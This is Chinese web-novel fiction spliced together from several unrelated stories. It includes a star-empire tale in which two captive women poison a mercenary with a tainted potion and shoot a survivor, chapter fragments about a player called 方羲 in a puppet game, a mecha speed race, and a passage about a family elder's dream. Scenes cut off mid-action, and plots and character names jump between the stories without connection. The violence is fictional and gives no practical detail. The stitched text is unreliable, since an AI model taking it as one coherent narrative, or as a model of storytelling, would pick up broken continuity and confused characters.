实在是谢别寒三个字的威力太大，不仅谢星摇崇拜又敬畏，谢家的所有年轻一代子弟，都是同样的想法。 他们甚至给谢别寒取了个绰号——大魔王！ 可不是大魔王吗？ 谢别寒只比他们大了几十岁，实力却是天差地别。 前几年更是成功地突破了圣阶，和谢家一水的须发皆白的老祖宗们齐名，成了最顶尖的掌权者，帝国第二军团的领头人。 谢星摇这一代，都是听着小叔叔谢别寒的传说长大的，许多人还是他亲手训练出来的，可不就是又敬又畏？ 谢星摇虽自认天不怕地不怕，但对上小叔叔谢别寒，却总是少了些底气。 就在他胡思乱想，猜测着小叔叔要怎么教训自己的时候，却听谢别寒轻声开口，回答了他的问题。 “没什么，只是……做了个梦。”谢别寒的嗓音温润，此时却带着些犹豫，还有些不确定。 他自己可能都没有意识到，在说话的时候，他的面上含着怅然若失，像是丢失了什么极其珍贵的东西。 听了他的回答，谢星摇险些震惊地跳了起来，紧张地追问：“小叔叔你说什么？你做了个梦？！梦到了什么？” 这可不是说着玩的！小叔叔可是圣阶！ 别看九阶和圣阶只是一阶之别，但差别却好像天和地那么大。 圣阶是星耀帝国强者的天花板，也是这片时空允许的实力上限，甚至可以一定程度上感应到玄妙的规则。 圣阶的梦境，都有极其独特的意义，大多是预知梦，是对未来危险的警示。 这次小叔叔来三等星X-7899，就是为了抓捕恶人榜上位列第三的木鬼。 据说他虽然是个没觉醒异能的普通人，精神力却格外强大，习得一手出神入化的傀儡术，堪比半圣。 在这个紧要关头做梦，难道是预示着这次行动会不顺利，小叔叔会遇到生命危险？ 谢星摇的担忧明明白白地写在了脸上，正焦急地等着听谢别寒梦境的具体内容，却见他顿了顿，缓缓地摇了摇头。 “不是预知梦。” “那是什么梦？”谢星摇不放心地问。 谢别寒的面上浮起罕见的怔然之色，他沉默许久，才道：“我不记得了。” 不记得？怎么可能不记得？ 小叔叔可是圣阶！精神力强大到常人难以想象的程度！怎么可能忘记自己的梦境？ 谢星摇百思不得其解，还没等他想出个所以然时，谢别寒已经淡淡地转移了话题。 “最近三等星X-7899附近不太平，你若是打算假期历练，最好选择去更远的地方。” “小叔叔，我知道的！”谢星摇打开光脑星图，介绍道：“我准备去更南边的荒星。” 更南边的荒星，和三等星X-7899不远不近，但已经是谢星摇最好的选择。 出于谢家人不必言说的默契，他们若是去荒星历练，都会选择在这一区域。 毕竟当年，谢戈失踪之前，传来的最后定位就是这一块。 哪怕知道谢戈的命牌已碎，并无任何生还的可能，但至少……落義归根。 总得将谢戈和他妻子的尸骨，迎回谢家。 “注意安全。”谢别寒温声道。 “小叔叔放心，我有自知之明，六阶巅峰的变异兽还能勉强应对，七阶的就是自己找死了。” 谢星摇晃了晃手腕上的光脑：“进入荒星前，我会先探索环境危险程度。” “你会炼制药剂？”洛玉的思路被成功带偏，不太敢相信。 上天是公平的，男性异能者可以化成兽形，但由于精神力的强大攻击性，很难在炼制药剂、炼器等方面取得成就。 “当然，可别看不起人！”谢戈得意洋洋地挑眉，骄傲地打开光脑，展示着自己的身份认证。 相应的那一栏，赫然写着“三阶药剂师（已认证）”几个大字，无声地诉说着身份。 谢戈竟然真的是药剂师！还是三阶药剂师！ 看着洛玉眼中的光亮，谢戈莫名觉得心里痒痒的，像是有一根羽毛轻飘飘地落了下来。 他的唇瓣控制不住地上扬，从空间器中取出了两个金光闪闪的鼎炉。 一个给自己，另一个塞给了洛玉。 “电磁炉也能用，但终究没有鼎炉来得方便，我看咱们也是有缘，这个就当成是见面礼吧！” 谢戈没给洛玉拒绝的机会，直接就开始讲解起炼制药剂过程当中的注意事项。 在七阶药剂宗师母亲的耳濡目染之下，他的理论知识和实践技能都相当扎实。 如果不是精神力属性的限制，远远不止三阶药剂师的水平。 洛玉听得如痴如醉，不知不觉地沉浸进去，如同海绵般孜孜不倦地吸收着知识，畅快淋漓。 谢戈和洛玉这边渐入佳境，方義则主动提起了话题：“阿玉他们已经走了，你想说什么？” 她抬头看向了谢别寒。 她当然看得出来，谢戈是主动配合谢别寒，故意支走洛玉的。 只是知道谢戈和洛玉是一对，他绝对不会伤害洛玉，方義才没有制止。 方義其实也十分好奇，谢别寒想和她聊什么。 按理说，她和他之前没有任何交集，应该没有什么好聊的才对。 谢别寒灰眸沉静，没绕弯子，直接道：“提取药材精华时，你的操作和精神力控制都是没有任何问题的。失败的原因，您是真的不知道吗，義贵女？” 義贵女？ 这是什么称呼？怪里怪气的。 方義在心中吐槽了一句，反射性地想回答不知道。 但话语刚要出口，她脑海中灵光一现，不确定地问：“是因为……我体内的灵力？” 虽然精神力一定程度上可以代替视力，但到底效果有限。 谢别寒只能感知到方義的位置，不能真切地看到她的五官和表情。 但从方義的语气中，谢别寒听得出来她的坦诚。 她是真的没打算隐瞒贵女的身份，也是真的对灵力对炼制药剂的影响一无所知。 这可能吗？ 谢别寒罕见地升起了一点儿讶然和探究之色，但面上仍是平静而淡然的。 “灵力可以被生灵吸收，起到净化辐射的作用。但是在精华提取的过程中，灵力会和药材纠缠在一起，导致药材精华无法分离产出。” “那具体该怎么做？”方義听得认真。 谢别寒温声介绍道：“两种方法。” “第一，在提取精华之前，净化药材里面全部的辐射；第二，在提取精华的同时，分心控制灵力，炼制净化药剂。” 事实证明，签到金手指的经验奖励还是很有效的，方義炼制药剂的天赋也相当不错。 前面一次又一次的失败，纯粹是因为基础流程有问题。 得了正确的方法，没一会儿，方義便成功地提取了药材精华。 与此同时，旁边还添了一小团淡金色的灵力精华。 完成药材精华的提取之后，接下来便是各种不同精华的融合，这也是整个药剂炼制过程中最具有挑战性的一步。 家学渊源，谢戈和谢别寒都是远超平均水平的三阶药剂师，以他们的能力，指导两个刚入门的药剂学徒绰绰有余。 更别提，方義和洛玉都是一点即通的聪慧之人，学习能力和动手能力极强，举一反三，是大部分老师最欣赏的那种学生。 短短一下午，方義和洛玉便都成功地炼制出了一阶止血药剂的半成品。 炼制出了一阶止血药剂，村落里的难题迎刃而解。 谢别寒为人细心妥帖，调查出确实是下河村的那名药剂师行事不当，派人调走了她的档案，将她安排在了规章制度严格的军团后勤部。 “我知道，不用管我。”方羲扯开疯苹果的手，完全无视队友们怪异的心情，也不想再聊天，思绪已经从刚刚的对话中飘到即将开启的新战场。 大门被缓缓推开。 身后的黑暗彻底碎裂。 一座长满绿藤的女神像，庄重、肃穆，高举着权杖，身如巨人。 但女神的头顶，却坐着一只小小的藤蔓人偶。 春醒朝方羲挥了挥手，露出人造的球形关节，用像是唱歌一样的声音说：“主人，你终于来了，我在这里玩了好久了！我无聊得快变成藤蔓干啦！” 第 84 章 第 84 章 门被收藏家打开了。 首席玩家只能暂且压下心中的担忧，将视线投向新的战场。 女神像轻轻晃动了一下，却立刻被更多的藤蔓缠绕，动弹不得。 春醒慢悠悠从“凳子”上站起来，又坐到一张凭空漂浮的巨大叶片上，飞到方羲面前。 她看了一眼方羲身上的伤，脸上的笑容淡了几分，又转头打量了几眼站在旁边的玩家，不高兴地撇撇嘴，但没说什么。 方羲摸了摸春醒的头，又打量了几眼四周的情况。修道院的最深处已经完全被春醒控制住了，只是她没有怎么攻击女神像，所以在外界看来，这一层外壳还在正常运行。 “时间也差不多了，我去准备晚餐，今晚咱们吃清蒸海鲜怎么样？有大虾、梭子蟹，还有花甲和牡蛎。” “听起来就忍不住流口水。”方義故作馋口，逗得方杏忍不住笑。 她无奈又宠溺地点了点方義的额头，才换了衣服去旁边的小帐篷里准备吃食。 方杏没看见的是，她刚一转身，方義脸上轻松的笑容便消失得干干净净，垂眸有一下没一下地抚着怀里的青蛋。 方杏性格偏软，压力只会影响她的状态，让她更恐慌无助。 但好在她无条件信任方義，方義的几句安慰，便能让她抛却畏惧，积极地投入生活当中。 只是，劝说方杏的时候，方義说要把事情往好的方面想。 但于方義自己而言，她更习惯考虑最极端的恶劣情况，她向来不惮以最大的恶意来揣测外人。 荒星天幕中偶尔掠过的星际飞梭痕迹，无疑给她提了个醒，为她敲响了警钟。 ——这并不是她所生活的那个和平年代。 荒星是星耀帝国法律不曾涉及的罪恶之地，在荒星，就算亲手杀了人，也不会被判处任何罪行。 要知道，哪怕是她生活的那个和平年代，脆弱的独居女性也经常被犯罪分子选为施恶目标，更何况是当下？ 她和方杏，就如同抱着金子招摇过市的小孩，腰兜鼓鼓的大肥羊，偏偏没有任何保护自己的手段。 方義拉开了系统面板。 这段时间，物资充裕，所以她没怎么使用签到点，但净化辐射黑点的行为一直没有落下。 经验值稳定增长，个人等阶已经突破到了LV25，签到点也攒了不少，数字已经涨到了60+。 签到物品那一栏倒是没有太大的变化。 【物品：恢复药剂（九阶）X8，沙蝎毒素精华（二阶）X9，明目草（圣阶），明目草（二阶）X12，纯净水2吨，新鲜的巴沙鱼（灵食）X10……】 大多是吃的喝的，还有前面没用完的【恢复药剂（九阶）】以及运气爆发签出来的【明目草（圣阶）】。 看到【明目草（圣阶）】的时候，方義的眼神停留了几秒，而后才移到了后面。 除了签到物品，原身母亲准备的空间器里面，放置的大多也是生活用品。 唯有的具有攻击性的，也就是那几把冷兵器和热武器。 冷兵器：黑色撬棍、黑色长-枪、黑色长剑；热武器：三个炸-弹，两把枪-支，一箱子弹。 ‘得先学会怎么用热武器，这个可以问杏子姐。’ 方義冷静地想着。“尊敬的贵女大人，我可是好人，我会为您找到一个合适的庇护者的。” 鹰钩鼻男人笑了笑，语调无辜又诚恳，好像刚刚动手杀了两个同伴的人不是他一样。 只是，他看着方義的眼神，不像是在看着什么人，而像是在打量着什么值钱的货物。 而当他看向方杏的时候，面上多了几分犹豫，有冰冷的杀意一扫而过。 “我们从小一起长大，你要是杀了她，我也绝不独活。” 方義心念神转，握着方杏的手更紧，梗着脖子倔强地与鹰钩鼻对视。 听鹰钩鼻男人的语气，她对鹰钩鼻男人应该还是有价值的。 找到一个合适的庇护者？鹰钩鼻男人是想要卖了她？ 方義的唇齿间满是血腥味，内心一片冰凉，只觉荒唐。 她向来珍惜生命，从没想过，自己有一天竟然要用自己的性命做威胁的筹码。 最令人绝望的是，她也只有这个筹码。 她不能让鹰钩鼻男人就这么杀了杏子姐！ “哦？”鹰钩鼻男人不冷不热地开口，面上喜怒不辨。 方義勉力冷静几分，继续道：“无论如何，我想活着，和姐姐一起活着！” “相信对你来说，一个听话的人质，远比一个崩溃愤恨的人质来得方便，不是吗？” “当然，贵女大人您想多了，我怎么会伤害你的姐姐呢？”鹰钩鼻男人眼中的杀意消散得干干净净，一脸被冤枉的无奈。 罢了，不过一个手无缚鸡之力的女人。 星际飞梭核载三人，多带一个也不费事，算作是买一送一的搭头好了，说不准还能多赚百来万。 知道自己和杏子姐暂时安全，方義松了一口气。 方杏从恐慌无力中恢复，这才反应过来之前无形的交锋，双眼红肿，泪如雨下，嘴唇哆哆嗦嗦的。 “小義，不值得……真的不值得……”她含着泪摇头，红通通的眼睛里充满了感动和不赞同。 她被杀了便罢了，小義怎么能冒着这个险！万一触怒了佣兵头头怎么办！ 这佣兵头头可是个心狠手辣的，两个队友都说杀就杀，更何况是她们。 方義没说话，只和方杏靠得更近些，像是两只抱团取暖的动物幼崽。 “唉，真是感天动地姐妹情！”鹰钩鼻男人悠悠感慨，不急不慢地伸出了手。 “只是在交流感情之前，是不是先把身上的空间器交给我？” “给……给你……”方杏用颤抖的手将腰间的空间器解了下来，用力丢给了鹰钩鼻男人。 鹰钩鼻男人稳稳接住，随意地扫了一眼：“一平方米的空间器，吃的倒是不少。” 说完，他又笑吟吟地俯视着方義：“贵女大人，你的呢？” “你说什么？我们听不懂，我们只有这一个空间器！”方杏紧紧地把方義抱在怀里，方義也畏惧地缩了缩。 只是低头的时候，似是紧张太过，她的视线蜻蜓点水地掠过胸前，充斥着忐忑不安。 鹰钩鼻男人眉毛一挑，漫不经心地把玩着赤红色的刀刃。 眨眼间，刀刃流光般飞过方義的胸前。 柔软娇嫩的肌肤多了一道鲜红的血痕，五芒星吊坠空间器也落入了鹰钩鼻男人的掌中。 “不小心伤到贵女大人了，真是不好意思。只是您偏要敬酒不吃吃罚酒，这可让我怎么办呢？” 鹰钩鼻男人假惺惺地道歉，意有所指地提醒道：“要知道，识时务者为俊杰。” 方杏和方義身上颤抖的幅度更大，显然是被吓到了，方義更是抽泣不止，不住地含着泪点头。 “这才对嘛！”见她们反应，鹰钩鼻男人还算满意，使用精神力探入了五芒星吊坠空间器中。 看清里面内容，哪怕是冷血如他，也控制不住地眼神一亮，呼吸片刻急促。 二十立方米的容量！ 光是这个空间器就价值不菲，更别提里面的东西，竟然有淡金色的净化药剂！ 鹰钩鼻男人急迫地取出了一瓶淡金色液体，刚旋开瓶塞，便迫切地一饮而尽。 药剂顺着喉咙进入食管，带来一阵舒适清新的凉意。 他的辐射值早就超过了60，可惜攒了好几年，还没凑够请贵女治疗的信用点，也没能买到三阶净化药剂，反而是辐射值又涨了不少。 搞得他平时战斗都畏手畏脚的，不敢放开了经常化成兽形，怕自己直接陷入中度危险状态。 “呼……”喝完了一瓶净化药剂，鹰钩鼻男人满脸畅快，一直被辐射折磨的疼痛都消失了不少。 看来，这女人有一点说的倒是真的，她家小姐确实是二阶净化师，而不是他们猜测的一阶。 鹰钩鼻男人若有所思，难得出现了些许犹豫之色。 他已经许久没能这么痛快了，贵女强大的能力可见一斑，真的要把她卖掉吗？ 可很快，他又释然。 贵女的确好，但他区区一个无权无势的小佣兵，异能刚刚突破三阶，能保得住吗？ 不如换成信用点，购买了三等星的户籍，买净化药剂便方便很多，还有机会进入净化大阵内生活。 内心有了决断，鹰钩鼻男人又一连喝了三瓶二阶净化药剂，打开光脑给自己检测了一遍。 【您当前的辐射值为：50，处于正常状态。】 这二阶净化药剂，着实效果不错！ 鹰钩鼻身体舒畅，连带着看方義和方杏的眼神都柔和了许多：“走吧，咱们去飞梭。” “嗯。”方義老老实实地点头，纤长浓密的眼睫遮住了眼底的波动。 就在方義和方杏艰难地搀扶着起身，鹰钩鼻男人打算提脚引路的时候，忽的发现体内一阵剧痛，如刀绞般接连不断，五脏六腑仿佛都被腐蚀。 “你……你们……”鹰钩鼻男人面色剧变，满脸惊惧，一片青灰之色。 是净化药剂！净化药剂有问题！他中了她们的算计！ 察觉到自己中毒的第一时间，鹰钩鼻男人手中的飞刃便脱手而出。 一连八枚，每一枚都对准了方義和方杏的致命位置。 当断则断，信用点虽重要，但性命最重要！ 但这还远远不够，再好的热武器，也得看是在什么人手里使用。 就她和杏子姐这两个半桶水都没有的人，想凭借区区几把热武器干掉作战经验丰富的佣兵，无疑是天方夜谭、痴人说梦。 得利用好她的优势，她所拥有的技能。 方義扫了眼签到物品栏的【沙蝎毒素精华（二阶）X9】，又看了眼自己拥有的技能【净化师（二阶），药剂宗师（九阶）】，眼神逐渐变得坚定。 【您净化了辐射，经验值+10，签到点+1】 …… 【您在沙蝎（二阶）洞穴签到，获得沙蝎毒素精华（二阶）X10】 【您在沙蝎（二阶）洞穴签到，获得沙蝎毒素精华（一阶）X10】 【您在沙蝎族群首领（二阶巅峰）的排泄物附近签到，获得沙蝎毒素精华（三阶）X10】 【您在沙蝎族群首领（二阶巅峰）的排泄物附近签到，获得沙蝎毒素精华（二阶）X10】 …… 签到点足够，方義疯狂地薅起了沙蝎族群的羊毛。 幸好【火眼金睛】技能逐步升级，她能感知到附近全部生灵的存在，甚至还能“看到”生灵等阶的大致情况。 若是等级比方義高20级以上，她看到的便是三个鲜红的问号“？？？”。 若是等级小于这一数值，她看到的便是具体的等级。 这一技能非常实用，顺利地帮助方義规避了大部分危险。 不过荒岛本身的危险度也不高，至少方義探索这么久，还没看到过三个鲜红问号。 最强的也不过是沙蝎族群的首领，达到了LV29。 当然，战斗实力比方義强得多，所以她非常小心地避开了。 没想却遇到了意外之喜——沙蝎族群首领的排泄物附近，竟然出现了签到地。 事实上，第一次发现这个签到地的时候，方義是拒绝的，至少心理上过不去这一关。 但抱着“来都来了”的心态，加上沙蝎的排泄物没什么味道，方義狠狠心，闭着眼睛屏住呼吸签了到。 然后，她就真香了！ 沙蝎族群（二阶）的洞穴位置，签到出来的物品大多是一阶沙蝎毒素精华，偶尔才能出现二阶。 但沙蝎族群首领（LV29）的排泄物附近，竟然第一次获得的就是三阶沙蝎毒素精华！ 三阶沙蝎毒素精华，剧毒效果可是比二阶强上不少！ 方義：签签签！我要签！ 反正签出来的毒也不是给自己喝的，她没有任何的心理压力，反而恨不得多多益善。 得了几十团毒素精华之后，方義便果断停手，在方杏的面前表演起了天才日常。 “杏子姐，我好像突破了，一阶蝎毒药剂炼制成功了！” “杏子姐，我好像突破了，二阶蝎毒药剂炼制成功了！” “杏子姐，我好像突破了，三阶蝎毒药剂炼制成功了！” 像她这样绝无仅有的天才，一天跳一阶是正常的，对吧？ 直到炼制出了三阶蝎毒药剂，方義才停止了自己的升阶行为。 ——主要她也没有更高等阶的原材料了。 方杏：“……” 方杏瞠目结舌，陷入了对人生的怀疑当中。 药剂师的升阶是这么简单的吗？ 她怎么记得她的老师，在一百多岁的时候突破了三阶药剂师，已经是远近闻名的天才之一了。 这这这…… 不愧是小姐！不愧是小義！真的太厉害了！ 方杏的心中充满了与有荣焉的骄傲，转而是浓浓的担心。 “小義，你成为三阶药剂师的事儿，天知地知，你知我知，可不能被别人知道。”方杏仔细地嘱咐，不掩担忧。 “不然很有可能会引来危险。要是夫人在身边还好些，可咱们之后是要被流放去三等星X-7899的，还是得小心谨慎。” 造梦家们立刻上前，因为游戏与真实重叠，他们已经看见收藏家的生命值只剩下岌岌可危的“1”。 但他们却被方羲猛地甩开手。 看见这名锚点建立者顶着狂风，拉住替行者夏青禾的手，瞬移到白龙的头颅。 “收藏家？！快点退回来！” “如果你死在这里——那就是真正意义上的死亡！” 方羲举起亲自勾勒的长弓，拉起一束世界最耀眼的光辉，雕刻着十字架的左眼，轻慢地锁定穹顶的恶魔。 蚂蚁可以掀翻神明的践踏吗？ 可以。 第 85 章 第 85 章 拉弦凝箭的那一瞬，无数纷杂的念头掠过脑海。 方羲的目光直勾勾落在恶魔头顶的黑山羊之角，说起来，这个部位是不是和艾莉克萨有些像？ “艾莉克萨，来。” “去接住【恶魔】掉落的权柄。” 怎么会有这么恰到好处的机会呢？ 仅仅是杀死恶魔还远远不够，简单粗暴的杀戮，说不定会引来某些不世出异端的注视，反而造成一场巨大的灾难。 但她必须一击致命。 见方羲看着屏幕两眼放光，方绮满怀优越感地介绍，“羲羲生病一直在住院，是第一次见吧？这是萤火星最大的机甲竞技场，五千米直道竞速区。比不上水蓝星的星系级赛场，但竞速赛也够用了。 优秀的速度型机甲能达到超音速，森之子系列不擅长速度，平均速度也有每秒两百多米。别着急，很快就能知道我们小组的竞速结果了。我们俩的机甲正好在隔壁赛道，你的机甲没改涂装不显眼，可以看我的机甲定位。” 赛道上许多机甲改了涂装，不再是又老又旧的青铜色，显得威风凛凛。 其中一台机甲被漆成白色，背后扬起流线型窄翅，在上百台机甲中一枝独秀的显眼。机甲下方赛道起点，亮着选手编号投影，No.10000。 它身边的No.10001号，似乎什么都没改的青铜色机甲灰扑扑的，像天鹅身边的丑小鸭，一下子就被比下去了。 “真没见识，这就看傻了。”于蓝看着过分明显的对比笑出了声。 “说让我们好好检查，你的机甲上场就这德行？能通过海选我倒立拉稀！” 方羲无语地看她一眼，决定不拦着某些人骗吃骗喝。 直播弹幕观众们也在观察刚上场的机甲： [笑死，萤火星这是从哪翻出来的垃圾老古董？还能动吗？] [中型机甲比速度最没看头了，蜗牛爬一样，菜鸡互啄辣眼睛，不看了不看了。] [算了，我等会成绩出来再看吧。最后一组的速度肯定不如前面的，但成绩系数高，没准真能有黑马杀到第一呢？] 议论声中，前方赛道清理完毕，新一组上场的机甲准备就绪，停在起跑线前，纷纷依照内置指令启动自动驾驶模式。 机甲师们盯着自己改造的机甲，屏住呼吸，紧张起来。 【3、2、1——】 发令枪响，喷气蓝焰在起点炸开一道道炫光，经过改造的机甲们向终点飞驰冲锋。 大屏幕上镜头俯瞰赛道，肉眼可见的，紧挨着的两台机甲，一台冲在最前面，一台机甲启动时落在最后。 “绮姐的最快！” 于蓝一边报喜，一边嫌弃，“都姓方，怎么差距这么大？机甲在绮姐隔壁都没沾沾光，那么慢，不会要没走出起点就散架吧？” 众人哄笑，“同台竞技，谁慢谁尴尬！” 话音未落，赛道上忽地闪过一道银光，雷鸣般的爆炸声响彻全场，机甲师们都惊呆了。 “什么东西闪了一下……机甲炸了？” 直播大屏幕上，解说着比赛的主持人霍然站起。 主持人脸色涨得通红，“不对、不对！那是超音速才有的音爆？！” “女士们先生们，萤火星赛区海选中唯一一台超音速改装机甲诞生了！森之子7型创造了奇迹！让我们提前恭喜这位机甲师！” 主持人亢奋的声音引爆观众们的热情，一声雷鸣般的音爆，炸得整个赛场人仰马翻。 直播弹幕都傻了，半天刷过的都是无意义的惊叹符号。 [？？？] [？？？！！！] [全赛场本来速度最慢的机甲跑出了音爆？开玩笑的吧，怎么做到的？？？] “音爆？森之子7型目前的所有改造，最佳数据都没跑到过超音速吧？谁改装的这么牛逼？！我居然能和这种牛人一个赛场？？？” 机甲师们都伸长脖子，四处激动寻觅着疑似第一名的人。 方绮身边的同学们张大了嘴，都在看她。 “绮姐！你太厉害了吧？！那可是超音速！前面几组抽到速度型的机甲，都没改出超音速的成绩！” 唯独于蓝没有一起向方绮道喜，惊疑地盯着赛道。 她刚刚好像看到，启动时落在后面的方羲的机甲，最后迎头赶上，似乎和方绮的白色机甲并排冲过终点。 从最后面到最前排，那声音爆，不会是方羲的机甲吧？ 于蓝甩甩头。 怎么可能呢？方羲哪有那本事？对，一定是看错了。 “恭喜绮姐！绮姐最牛！”于蓝大声鼓掌，好像这样就能消除心底的疑虑。 恭喜声引来其他人注意，纷纷探头看来，“是那个超音速机甲师吗？哪呢哪呢？” 方绮的心狂跳起来。 超音速的机甲？方绮从没想过成绩会这么优秀！ 她知道方羲那份一次性加速器设计优秀，老师夸了又夸。但按之前试做时的提升数据估算，森之子7型最快只能跑到每秒310米左右…… 是因为她的改造和选材特别适合森之子7型，超常发挥了吗？ 果然，设计在她手里才能发挥最好的效果！ 方绮瞥了眼孤零零坐着的方羲，努力压住得意上扬的声音，“运气好，大赛材料里正好有我需要的珍稀材料云兔提取物，成绩比以往测试时好得多。” “绮姐的改造度应该上30%了吧？还没毕业就能有这么高的改造度，离自主设计机甲也不远了！” 簇拥着方绮的机甲师羡慕道，“绮姐肯定是萤火星初赛第一！十万奖金轻轻松松到手！听说这次比赛决赛请了季大师做评委，要是能被看中跟着学习，绮姐以后说不定能进联邦科学院呢！” 方绮故作谦虚，“全联邦星系总决赛还太远了，我还需要继续努力，希望能有机会聆听季大师的点评。” 说话间最后一台机甲冲过终点，大屏幕上成绩数字滚动刷新，主持人大声报幕，“萤火星海选赛场，最后一组机甲竞速展示，成绩现在揭晓——” 方绮享受着众人瞩目，“惋惜”地安慰方羲，“羲羲，你还好吗？别伤心，你还年轻，这次成绩不理想，可以好好养病后再参加下一次比赛。不用总是姐姐做什么你学什么，好好回去读书也可以……” 整个赛场都在为突然杀出来的超音速机甲兴奋，只有方羲格外平静。仔仔细细活动完手指，摸出兜里的光脑。 开机。 主持人卖了半天关子，终于开始念成绩，“第一名，16.571秒，最高速度342m/s，No.1000……” 方绮忍不住呼吸急促，方绮的同学们与有荣焉，提前喊道，“No.10000！是我们绮姐！” 主持人激情澎湃地揭晓答案，“No.10001！让我们恭喜方羲选手！” 方绮胜利的笑容还没扬起，就凝固在脸上。 “方……羲？不是方绮？怎么可能？！” 于蓝呆滞了几秒，不可思议地猛然回头看向方羲，差点把脖子扭了。 方羲仰头看着光幕。 直播大屏幕上一串串同样的数字刷过。 [恭喜No.10001！] [恍恍惚惚见证奇迹……恭喜No.10001！] [啊啊啊我好兴奋，No.10001冲啊！比赛快点结束，我要关注她的个人直播间，我要看直播回放！！！] No.10001，方羲喜欢这个号码。 万里挑一。 方羲宽大的衣袖在微风中摇晃，脑后银色发簪熠熠闪光，宛如宝石，仔细看才发现那只是营养液吸管。普普通通的衣饰因她镀上一层光彩，令人自惭形秽。 热闹恭喜声戛然而止，和直播光幕上观众们的兴奋截然相反，周围弥漫着令人窒息的尴尬沉默。 刚才的吹嘘像一记记耳光扇在脸上，于蓝等人一句话都说不出来，几乎怀疑自己在做梦。 数据做不了假，慢了就是慢了。只不过技不如人的是方绮，不是他们以为的废柴方羲。嘲讽方羲的他们，像个小丑。 听着热闹凑过来的其他机甲师左右看看，转头就走，“嘁，白跑一趟！你们不是第一，瞎喊什么呢？” “不可能，方羲精神力受损都被退学了……” 收到诧异的眼神，方绮猛地意识到自己失态了。 方绮勉强道，“我是说，羲羲和我的机甲紧挨着，会不会……会不会看错了？” 同学纷纷点头，“对对，怎么会是方羲呢？肯定是搞错了！” 大屏幕刷新出第二名的成绩，“16.578秒，最高速度309m/s。No.10000，选手方绮。” 方绮死死盯着压在自己名字上面的“方羲”两个字，即使成绩排在分组第二，也丝毫高兴不起来。 于蓝着急，“数据肯定有问题，我看了三遍了，没有我的成绩！我要申请成绩复查！” 【滴滴，收到选手对成绩疑问。机甲大赛成绩受联邦军部监督，系统检测中——】 服务机器人温柔的声音被大赛AI冰冷提示音接管，【选手于蓝，您的机甲并未完成五千米竞速比赛，成绩不计入排名。】 “没完成比赛？不可能！”于蓝急眼道，“我亲眼看着它跑到终点的！” 服务机器人光屏跳转，画面上正是最后一组机甲驶过终点的瞬间，其中一台冒着黑烟原地解体的机甲被高亮圈出。 于蓝确认，“没错！这就是我的机甲，它明明已经过线了！” 乍看，画面上这台机甲已经越过终点线。 直播大屏幕里，看不清楚上百台机甲的细节。但当画面放大，就能清晰看到，机甲解体的地方离终点还有一小段距离。 屏幕弹出一只测量尺，标出最后剩余的距离：0.6M。 服务机器人一板一眼地回复：【您好，您的成绩复核已结束，是否满意本次复核结果？】 于蓝呆呆看着屏幕。 不到一米的距离，一步就跨过去了。偏偏，她的机甲就差一点。 于蓝忍不住想。如果她没有提前出来，而是仔细检查了，会不会不会这么倒霉？至少，能有成绩排名，不至于让这次机甲师最佳的出头机会白白溜走。 但现在什么都晚了，于蓝后悔莫及。 看到于蓝的复核结果，方绮最后的希望也落了空。 其他人面面相觑，“真、真是方羲啊？看不出来啊，不声不吭的，一出手就是第一？？？” “大赛给两天改造时间还是有道理的，难怪要坚持到最后，那可是第一啊！要是我，我肯定不用完最后一秒不出来！” “难道方羲精神力受损是假的？退学是怎么回事啊？” 机甲师们窃窃私语着，有心八卦，又碍于之前的嘲讽不敢上前。 一直簇拥着方绮的人群散开了些，目光隐晦地在方羲和方绮两人之间打量。 方绮如芒在背，试探着问道，“羲羲，你的精神力恢复了是吗？姐姐真为你高兴。你的机甲怎么那么快？是哪位机甲大师指点的设计吗？” 方羲不可能突然痊愈，背后肯定有别的秘密！ 方羲认真纠正，“不是大师指点，是我的神行千里甲马符。” 竖起耳朵想学秘籍的机甲师：？？？什么东西？符？符是什么？ 名字还怪好听的，有种说不出的韵味。 方羲大惊失色！她钱呢？她之前不是提现了十万块到账号上吗？谁！谁盗了她的账号？！？！ 因为没有钱，方羲觅食失败，只好回家。结果发现门口被贴上了一张欠费单——她还没交这个月的房租。 方羲的心情更糟糕了。 方羲疲惫地躺在床上，裹着被子滚了一圈，盯着天花板的灯发呆。 啪地一声，灯灭了。 方羲心死如灰地思考了一下，哦，应该是因为卡里没钱，电费没交上。 虚弱的方羲，目光缓缓落在已经一个月没用过的全息设备，忽然蹬开被子，愤怒地躺进去，点击登录游戏。 她决定了！【奇妙的红苹果】不能只卖一万个金币，要卖三万！五万！十万！否则无法平息她身为穷鬼的愤怒！！！ 第 86 章 第 86 章 【新晋排名检测中，玩家“白乌鸦”位列百名之内，符合登录条件。】 【玩家“白乌鸦”登录中……】 “等等等等！”方羲灵光一闪，忽然想起些什么，试探性问道，“我能不能选择【隐身】状态？” 她实在不愿面对登录之后，黑天鹅后台一大波999+的陌生红点信息。 【可以。】 【您已成功进入“隐身”登录状态。】 【玩家“白乌鸦”已回归人偶师空间。】 【中午好，白乌鸦——失乐园欢迎您的归来。】 方義的语气轻描淡写，不像是在说什么残忍的补枪事宜，而像是在说今天的天气怎么样。 方杏被她说得一愣，很快赞同地点头：“确实，小心为上，咱们经不住任何意外了。” 不就是多花几颗子弹的事情吗？问题不大！ 方杏举起了枪-支，一步步地往黑痣男和刀疤男的尸体那边走。 鹰钩鼻男人本就没有将他们的尸体扔得太远，就在视线所及范围内。 方杏和方義她们的对话，站在两具尸体的位置都能听见。 方杏本是想着谨慎无错，但其实心底，丝毫没有怀疑黑痣男和刀疤男死亡的事实。 那可是附着异能的刀刃，她亲眼看着他们血流不止，被割断了喉咙没了呼吸，怎么可能还有生还的可能？ 没想刚停下脚步举起枪的时候，黑痣男的尸体猛地扭动了起来。 他双眼凸出，喉咙发出“嗬嗬”的嗓音，眼泪、鼻涕和鲜血混在一起，满是不可置信、惊诧和恐慌。 怎么可能！他怎么可能被发现！ 要知道，假死技能是他最后的杀手锏，曾经他甚至凭借这一技能，成功地从六阶异能者手下逃生。 区区两个没什么战斗经验的女人，侥幸凭借药剂干掉了鹰钩鼻队长，怎么可能发现他的手段！ 黑痣男的眼睛睁得大大的，喉咙“咕嘟咕嘟”响，嘴巴里还在往外冒着鲜血，满是对死亡的恐惧。 他不知道，有一种外挂叫【火眼金睛】，还坚-挺的血条早就暴露了他没彻底断气的事实。 直面这一幕的方杏抿紧了唇，双手都在颤抖，险些握不住枪。 直到背后一声稍显沙哑的提醒声响了起来：“杏子姐，开枪！” “砰——” 方杏反射性地按动了扳机，只听一声闷沉的枪响，子弹射-入了黑痣男的头颅。 他双目圆睁，彻底没了性命。 “砰砰砰——”又是三声枪响，枪枪命中，黑痣男的鲜血和脑浆混合流淌了出来，面目全非。 